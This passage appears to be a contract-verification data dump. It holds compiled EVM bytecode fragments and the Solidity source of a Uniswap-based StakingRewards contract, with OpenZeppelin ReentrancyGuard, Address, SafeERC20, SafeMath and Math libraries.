260045260246000fd5b602002602001015161ffff16603c6000600881111561321957634e487b7160e01b600052602160045260246000fd5b60ff166009811061323a57634e487b7160e01b600052603260045260246000fd5b01600082825461324a9190613db9565b909155505080518190600190811061327257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c600160088111156132a157634e487b7160e01b600052602160045260246000fd5b60ff16600981106132c257634e487b7160e01b600052603260045260246000fd5b0160008282546132d29190613db9565b90915550508051819060029081106132fa57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c6002600881111561332957634e487b7160e01b600052602160045260246000fd5b60ff166009811061334a57634e487b7160e01b600052603260045260246000fd5b01600082825461335a9190613db9565b909155505080518190600390811061338257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c600360088111156133b157634e487b7160e01b600052602160045260246000fd5b60ff16600981106133d257634e487b7160e01b600052603260045260246000fd5b0160008282546133e29190613db9565b909155505080518190600490811061340a57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c6004600881111561343957634e487b7160e01b600052602160045260246000fd5b60ff166009811061345a57634e487b7160e01b600052603260045260246000fd5b01600082825461346a9190613db9565b909155505080518190600590811061349257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c600560088111156134c157634e487b7160e01b600052602160045260246000fd5b60ff16600981106134e257634e487b7160e01b600052603260045260246000fd5b0160008282546134f29190613db9565b909155505080518190600690811061351a57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c6006600881111561354957634e487b7160e01b600052602160045260246000fd5b60ff166009811061356a57634e487b7160e01b600052603260045260246000fd5b01600082825461357a9190613db9565b90915550508051819060079081106135a257634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c600760088111156135d157634e487b7160e01b600052602160045260246000fd5b60ff16600981106135f257634e487b7160e01b600052603260045260246000fd5b0160008282546136029190613db9565b909155505080518190600890811061362a57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16603c60088081111561365857634e487b7160e01b600052602160045260246000fd5b60ff166009811061367957634e487b7160e01b600052603260045260246000fd5b0160008282546136899190613db9565b909155505050565b60008060005b60098110156136e157603c81600981106136c157634e487b7160e01b600052603260045260246000fd5b01546136cd9083613c35565b9150806136d981613df2565b915050613697565b50905090565b80356001600160a01b038116811461083d57600080fd5b600082601f83011261370e578081fd5b8135602067ffffffffffffffff82111561372a5761372a613e83565b808202613738828201613bc0565b838152828101908684018388018501891015613752578687fd5b8693505b8584101561378357803561ffff8116811461376f578788fd5b835260019390930192918401918401613756565b50979650505050505050565b6000604082840312156137a0578081fd5b6137aa6040613bc0565b905081358152602082013567ffffffffffffffff8111156137ca57600080fd5b6137d6848285016136fe565b60208301525092915050565b6000602082840312156137f3578081fd5b610a88826136e7565b60006020828403121561380d578081fd5b813567ffffffffffffffff811115613823578182fd5b61382f848285016136fe565b949350505050565b60008060408385031215613849578081fd5b823567ffffffffffffffff81111561385f578182fd5b61386b858286016136fe565b92505061387a602084016136e7565b90509250929050565b600060208284031215613894578081fd5b5035919050565b600080604083850312156138ad578182fd5b8235915061387a602084016136e7565b6000602082840312156138ce578081fd5b81357fffffffff0000000000000000000000000000000000000000000000000000000081168114611043578182fd5b6000806040838503121561390f578182fd5b823567ffffffffffffffff811115613925578283fd5b6139318582860161378f565b95602094909401359450505050565b60008060008060808587031215613955578182fd5b843567ffffffffffffffff81111561396b578283fd5b6139778782880161378f565b9450506020850135925061398d604086016136e7565b9396929550929360600135925050565b6000806000606084860312156139b1578283fd5b833567ffffffffffffffff8111156139c7578384fd5b6139d38682870161378f565b9660208601359650604090950135949350505050565b6000806000606084860312156139fd578283fd5b8335613a0881613e99565b92506020840135613a1881613e99565b929592945050506040919091013590565b600080600060608486031215613a3d578283fd5b8351613a4881613e99565b6020850151909350613a5981613e99565b604085015190925063ffffffff81168114613a72578182fd5b809150509250925092565b60008060408385031215613a8f578182fd5b50508035926020909101359150565b600060208284031215613aaf578081fd5b813560ff81168114611043578182fd5b602080825282518282018190526000919060409081850190868401855b82811015613b4a578151805160098110613af857613af8613e6d565b85528087015160058110613b0e57613b0e613e6d565b858801528086015160ff908116878701526060808301519091169086015260809081015115159085015260a09093019290850190600101613adc565b5091979650505050505050565b60006040825260808201845160408401526020808601516040606086015282815180855260a08701915083830194508592505b80831015613bae57845161ffff168252938301936001929092019190830190613b8a565b50949091019490945250909392505050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715613c0757613c07613e83565b604052919050565b600061ffff808316818516808303821115613c2c57613c2c613e41565b01949350505050565b60008219821115613c4857613c48613e41565b500190565b600060ff821660ff84168060ff03821115613c6a57613c6a613e41565b019392505050565b600082613c8157613c81613e57565b500490565b80825b6001808611613c985750613cc3565b818704821115613caa57613caa613e41565b80861615613cb757918102915b9490941c938002613c89565b94509492505050565b6000610a886000198484600082613ce557506001611043565b81613cf257506000611043565b8160018114613d085760028114613d1257613d3f565b6001915050611043565b60ff841115613d2357613d23613e41565b6001841b915084821115613d3957613d39613e41565b50611043565b5060208310610133831016604e8410600b8410161715613d72575081810a83811115613d6d57613d6d613e41565b611043565b613d7f8484846001613c86565b808604821115613d9157613d91613e41565b02949350505050565b6000816000190483118215151615613db457613db4613e41565b500290565b600082821015613dcb57613dcb613e41565b500390565b600061ffff80831681811415613de857613de8613e41565b6001019392505050565b6000600019821415613e0657613e06613e41565b5060010190565b600060ff821660ff811415613e2457613e24613e41565b60010192915050565b600082613e3c57613e3c613e57565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6dffffffffffffffffffffffffffff81168114613eb557600080fd5b5056fea26469706673582212203d3270a6ef5b8904b41161d85218fd1b1ed2f7ddecdbd879aecd6a7eb470f00c64736f6c63430008020033
[ 10, 4, 12 ]
0xf2a04ddf76bd612f211c170999b6e16d36af5c96
// File: contracts/interfaces/IStakingRewards.sol pragma solidity 0.7.6; // SPDX-License-Identifier: MIT interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/math/Math.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/cBSNSimpleLPRewards.sol pragma solidity 0.7.6; // Inheritance abstract contract RewardsDistributionRecipient { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 30 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsDistribution, address _rewardsToken, address _stakingToken ) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external override view returns (uint256) { return _totalSupply; } function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public override view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public override view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public override view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external override view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface IUniswapV2ERC20 { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // Based on: // https://github.com/Uniswap/liquidity-staker/blob/f707a46863c44e2d056cb2f6ccd8c5b0705266ef/contracts/StakingRewards.sol
0x608060405234801561001057600080fd5b50600436106101415760003560e01c80637b0a47ee116100b8578063cd3daf9d1161007c578063cd3daf9d146102ad578063d1af0c7d146102b5578063df136d65146102bd578063e9fad8ee146102c5578063ebe2b12b146102cd578063ecd9ba82146102d557610141565b80637b0a47ee1461025257806380faa57d1461025a5780638b87634714610262578063a694fc3a14610288578063c8f33c91146102a557610141565b8063386a95251161010a578063386a9525146101d35780633c6b16ab146101db5780633d18b912146101f85780633fc6df6e1461020057806370a082311461022457806372f702f31461024a57610141565b80628cc262146101465780630700037d1461017e57806318160ddd146101a45780631c1f78eb146101ac5780632e1a7d4d146101b4575b600080fd5b61016c6004803603602081101561015c57600080fd5b50356001600160a01b031661030d565b60408051918252519081900360200190f35b61016c6004803603602081101561019457600080fd5b50356001600160a01b031661038b565b61016c61039d565b61016c6103a4565b6101d1600480360360208110156101ca57600080fd5b50356103c2565b005b61016c610545565b6101d1600480360360208110156101f157600080fd5b503561054b565b6101d161077e565b6102086108a2565b604080516001600160a01b039092168252519081900360200190f35b61016c6004803603602081101561023a57600080fd5b50356001600160a01b03166108b1565b6102086108cc565b61016c6108db565b61016c6108e1565b61016c6004803603602081101561027857600080fd5b50356001600160a01b03166108ef565b6101d16004803603602081101561029e57600080fd5b5035610901565b61016c610a82565b61016c610a88565b610208610ad6565b61016c610ae5565b6101d1610aeb565b61016c610b0e565b6101d1600480360360a08110156102eb57600080fd5b5080359060208101359060ff6040820135169060608101359060800135610b14565b6001600160a01b0381166000908152600a60209081526040808320546009909252822054610385919061037f90670de0b6b3a7640000906103799061035a90610354610a88565b90610d24565b6001600160a01b0388166000908152600c602052604090205490610d81565b90610de1565b90610e48565b92915050565b600a6020526000908152604090205481565b600b545b90565b60006103bd600654600554610d8190919063ffffffff16565b905090565b60026001541415610408576040805162461bcd60e51b815260206004820152601f602482015260008051602061123d833981519152604482015290519081900360640190fd5b600260015533610416610a88565b6008556104216108e1565b6007556001600160a01b038116156104685761043c8161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b600082116104b1576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600b546104be9083610d24565b600b55336000908152600c60205260409020546104db9083610d24565b336000818152600c6020526040902091909155600354610507916001600160a01b039091169084610ea2565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a2505060018055565b60065481565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040180806020018281038252602a8152602001806112a4602a913960400191505060405180910390fd5b600061059e610a88565b6008556105a96108e1565b6007556001600160a01b038116156105f0576105c48161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b600454421061060f57600654610607908390610de1565b600555610652565b60045460009061061f9042610d24565b9050600061063860055483610d8190919063ffffffff16565b60065490915061064c9061037986